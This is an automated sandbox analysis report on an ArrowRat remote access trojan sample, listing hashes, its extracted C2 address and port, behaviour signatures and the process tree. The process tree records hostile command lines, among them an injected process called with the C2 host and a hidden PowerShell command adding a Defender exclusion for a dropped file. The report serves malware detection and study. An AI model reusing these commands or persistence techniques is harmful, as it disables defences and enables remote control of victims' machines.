Overview

overview

10

Static

static

10

0a53456ad2...35.exe

windows7-x64

10

0a53456ad2...35.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    146s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-09-2024 01:05

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General

  • Target

    0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335.exe

  • Size

    158KB

  • MD5

    d0a55dda2e691dbb7eedcd02cc7eaffa

  • SHA1

    37433d28c8f89e0f3b63e145d592e86e9da9b22f

  • SHA256

    0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335

  • SHA512

    de5975c1c76799649b917b5e43c681ea2aff06813f43d363d4dc2ec8c99d33ba17026cb07a26931e6f637e26add9090be0eccc95f753f625461c75fe2b07327a

  • SSDEEP

    3072:wbzmH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPzdO8Y:wbzme0ODhTEPgnjuIJzo+PPcfPzQ8

Score
10/10
arrowratclientdiscoveryexecutionpersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

26.137.109.175:1337

Mutex

pqjvqGUKv

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 41 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 38 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335.exe
    "C:\Users\Admin\AppData\Local\Temp\0a53456ad2ce6a20c459e38a8fb0be2751c7543a0d8a47f52bb48a8b6d24d335.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:728
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4448
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
      2⤵
        PID:4280
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 26.137.109.175 1337 pqjvqGUKv
        2⤵
        • System Location Discovery: System Language Discovery
        PID:4952
      • C:\Windows\System32\ComputerDefaults.exe
        "C:\Windows\System32\ComputerDefaults.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:64
        • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
          "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\yoRyHvHxC\qQDhvzMlM.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3428
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:2188
    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:3396

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133716999631437839.txt
      Filesize

      75KB

      MD5

      5185d4455818d6d798a595a1e98f76ed

      SHA1

      06ecdda92127bbe7fcbf30c8a5cf851b0548abbb

      SHA256

      64af13e89392d3f56cb448af3ede0465f4af7137794e150bc83db5beeb6d67d8

      SHA512

      b3c2f5cd84863b3beb58ec7808da5211a68aadb96230a9820560af4dc829501506036b956b85a41fd8448fa8fb93121f2d2da0f1810574b97e6b84a65c8efcf1

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2wwfumtm.yip.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • memory/728-15-0x00007FF989720000-0x00007FF98A1E1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/728-1-0x000002BF3E730000-0x000002BF3E75E000-memory.dmp

      Filesize

      184KB

      Download

    • memory/728-200-0x00007FF989720000-0x00007FF98A1E1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/728-172-0x00007FF989723000-0x00007FF989725000-memory.dmp

      Filesize

      8KB

      Download

    • memory/728-0-0x00007FF989723000-0x00007FF989725000-memory.dmp

      Filesize

      8KB

      Download

    • memory/3396-41-0x0000022C901E0000-0x0000022C90200000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3396-31-0x0000022C8F100000-0x0000022C8F200000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/3396-32-0x0000022C8F100000-0x0000022C8F200000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/3396-35-0x0000022C90220000-0x0000022C90240000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3396-66-0x0000022C905F0000-0x0000022C90610000-memory.dmp

      Filesize

      128KB

      Download

    • memory/3428-25-0x0000021B3BEF0000-0x0000021B3BF12000-memory.dmp

      Filesize

      136KB

      Download

    • memory/4448-28-0x0000000003260000-0x0000000003261000-memory.dmp

      Filesize

      4KB

      Download

    • memory/4952-10-0x0000000005E00000-0x0000000005E50000-memory.dmp

      Filesize

      320KB

      Download

    • memory/4952-7-0x0000000005550000-0x00000000055B6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/4952-6-0x0000000005750000-0x0000000005CF4000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/4952-5-0x0000000004E90000-0x0000000004F2C000-memory.dmp

      Filesize

      624KB

      Download

    • memory/4952-4-0x0000000004DF0000-0x0000000004E82000-memory.dmp

      Filesize

      584KB

      Download

    • memory/4952-2-0x0000000000400000-0x0000000000418000-memory.dmp

      Filesize

      96KB

      Download